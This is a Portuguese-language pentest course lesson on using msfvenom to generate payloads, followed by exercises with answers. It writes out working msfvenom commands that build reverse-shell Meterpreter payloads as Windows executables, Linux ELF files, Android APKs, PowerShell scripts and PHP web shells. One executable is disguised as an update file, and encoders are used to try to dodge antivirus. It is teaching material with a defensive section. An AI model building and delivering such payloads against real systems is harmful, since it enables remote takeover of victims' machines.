Nem sempre um exploit pronto entrega o payload. Muitas vezes você precisa gerar seu próprio payload — um executável, um script, um documento — que, ao ser executado no alvo, te devolve um shell. A ferramenta para isso é o msfvenom, o gerador de payloads do Metasploit. Ele é a ponte entre "eu tenho uma forma de fazer o alvo executar um arquivo" (via engenharia social, um upload, um serviço) e "eu recebo um shell". Esta aula ensina a criar payloads sob medida — habilidade central que sustenta a engenharia social (Bloco XIV), os ataques a Android (aula Segurança Android: atacando o dispositivo no seu bolso) e muito da pós-exploração. Laboratório, sempre.
Combinar payload e formato de entrega
O conceito é simples: o msfvenom combina um payload (o que você quer executar — tipicamente um reverse shell ou Meterpreter) com um formato de saída (o tipo de arquivo — executável Windows, script, APK Android, etc.), produzindo um artefato pronto para ser entregue ao alvo. A estrutura do comando:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=192.168.1.5 LPORT=4444 \
-f exe -o atualizacao.exe
# -p payload LHOST/LPORT (seu handler) -f formato -o arquivo de saída
Decompondo o comando
Decompondo: -p escolhe o payload (aqui, um Meterpreter reverso para Windows 64 bits); LHOST/LPORT dizem para onde o shell deve conectar de volta (o seu handler, aula Metasploit Framework II: payloads e o poder do Meterpreter); -f define o formato (exe = executável Windows); -o nomeia o arquivo. O resultado, atualizacao.exe, é um programa que, ao ser executado no alvo, conecta de volta ao seu handler e te entrega uma sessão. O msfvenom gera para dezenas de formatos e plataformas:
# executável Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o app.exe
# ELF (executável Linux)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o app
# APK (Android)
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o app.apk
# script (ex.: para entrega via web ou macro)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f psh -o shell.ps1
# payload web (ex.: para upload em servidor vulnerável — Bloco IX)
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php
Um formato para cada vetor de entrega
Essa versatilidade é o que torna o msfvenom tão central: qualquer que seja a forma como você consegue fazer o alvo executar código — um upload num site vulnerável, um anexo de e-mail, um APK, uma macro — o msfvenom gera o payload no formato adequado. E, do outro lado, você inicia o handler (aula Metasploit Framework II: payloads e o poder do Meterpreter) para receber a conexão. Payload gerado + handler escutando + alvo executa = shell.
O payload cru é detectado pelo antivírus
Agora, o problema central que o msfvenom "cru" enfrenta e que introduz o tema da evasão: payloads gerados pelo msfvenom são amplamente detectados por antivírus. Como o Metasploit é a ferramenta ofensiva mais popular do mundo, seus payloads têm assinaturas conhecidíssimas, e qualquer antivírus decente reconhece e bloqueia um .exe do msfvenom sem modificação. Isso nos leva aos encoders e à ofuscação. O msfvenom pode codificar o payload para alterar sua aparência e tentar escapar da detecção por assinatura:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 \
-e x64/xor_dynamic -i 5 -f exe -o payload.exe
# -e encoder -i iterações (codifica múltiplas vezes)
Encoders não são evasão de antivírus
Mas — e este é um ponto de honestidade profissional importante — encoders NÃO são, primariamente, ferramentas de evasão de antivírus, apesar do mito difundido. O propósito original dos encoders é remover "bad characters" (bytes que quebrariam o payload em certos contextos de exploração) e adequar o payload. Contra antivírus modernos, codificar um payload do msfvenom raramente basta para evadir — os produtos de segurança já conhecem os próprios encoders. A evasão real e moderna é bem mais sofisticada (loaders customizados, cifragem, execução em memória, técnicas contra EDR) e é justamente o tema do Bloco X (aulas Evasão de antivírus: a corrida contra a detecção por assinatura a Frameworks de Comando e Controle (C2): a infraestrutura da operação). O msfvenom é ótimo para gerar payloads em laboratório e contra alvos sem proteção robusta; contra defesas modernas, ele é o ponto de partida, não a solução.
A fábrica do código que o alvo executa
O que quero que fique desta aula é o lugar do msfvenom no fluxo ofensivo e a percepção que ele consolida: a exploração frequentemente se resume a fazer o alvo executar um código seu, e o msfvenom é a fábrica desse código. Ele separa o "o que executar" (o payload) do "como entregar" (o formato e o vetor de entrega, que vem da engenharia social, de um upload, de um serviço). Essa separação é poderosa: você domina a fábrica de payloads uma vez, e a aplica a todos os vetores de entrega que aprenderá no curso. E a lição de evasão que ele introduz — de que payloads conhecidos são detectados e que evadir é um problema à parte e difícil — prepara o terreno para o tradecraft do Bloco X.
Por que a defesa foi além da assinatura
Do lado defensivo, o msfvenom ilustra por que a defesa moderna evoluiu além do antivírus por assinatura: como payloads podem ser infinitamente codificados e modificados, detectar por "aparência" (assinatura) é uma corrida perdida. As contramedidas modernas focam em comportamento — o EDR (aula Evasão de EDR e Living off the Land: o estado da arte) que detecta o que o payload faz (injeção, conexão de C2, extração de credenciais) em vez de como ele parece —, além de application whitelisting (só permitir executáveis aprovados, bloqueando o atualizacao.exe desconhecido), bloqueio de macros e educação de usuários (para não executarem o anexo malicioso em primeiro lugar).
Fontes e leituras recomendadas
- Metasploit Unleashed — seção sobre msfvenom (Offensive Security)
- Documentação do msfvenom (
msfvenom --list payloads,--list formats) - HackTricks — geração de payloads e introdução à evasão de AV
- Salas de payload/AV evasion no TryHackMe (para a ponte com o Bloco X)
Exercícios
-
O que o msfvenom combina para gerar um payload, e qual o papel dos parâmetros LHOST e LPORT?
✓ Resposta:Combina um payload (o que executar, tipicamente um reverse shell/Meterpreter) com um formato de saída (o tipo de arquivo). LHOST e LPORT definem o endereço e a porta do atacante para onde o payload (reverso) deve conectar de volta — o handler.
-
Por que a versatilidade de formatos do msfvenom o torna central no fluxo ofensivo? Dê dois exemplos de formato e seu vetor de entrega.
✓ Resposta:Porque permite gerar o payload no formato adequado a qualquer forma de entrega disponível, cobrindo todos os vetores. Exemplos:
exe(entregue por engenharia social/anexo) ephp(upload em servidor web vulnerável); tambémapk(Android) epsh(script/macro). (Dois quaisquer.) -
O que é preciso, além do payload gerado, para efetivamente receber o shell no alvo?
✓ Resposta:É preciso iniciar um handler (ouvinte) no lado do atacante, configurado com o mesmo payload, LHOST e LPORT, para receber a conexão de volta quando o alvo executar o artefato.
-
Desminta o mito: qual é o propósito primário dos encoders, e por que codificar um payload do msfvenom raramente evade antivírus modernos?
✓ Resposta:O propósito primário dos encoders é remover "bad characters" e adequar o payload ao contexto de exploração, não evadir antivírus. Codificar raramente evade AV moderno porque os produtos de segurança já conhecem os encoders do Metasploit e detectam seus padrões; a evasão real exige técnicas sofisticadas (loaders customizados, cifragem, execução em memória).
-
Por que a defesa moderna evoluiu do antivírus por assinatura para detecção por comportamento, e cite duas contramedidas contra payloads gerados.
✓ Resposta:Porque payloads podem ser infinitamente codificados e modificados, tornando a detecção por assinatura (aparência) uma corrida perdida; detectar comportamento (o que o payload faz) é mais robusto. Contramedidas: EDR baseado em comportamento, application whitelisting, bloqueio de macros, educação de usuários. (Duas quaisquer.)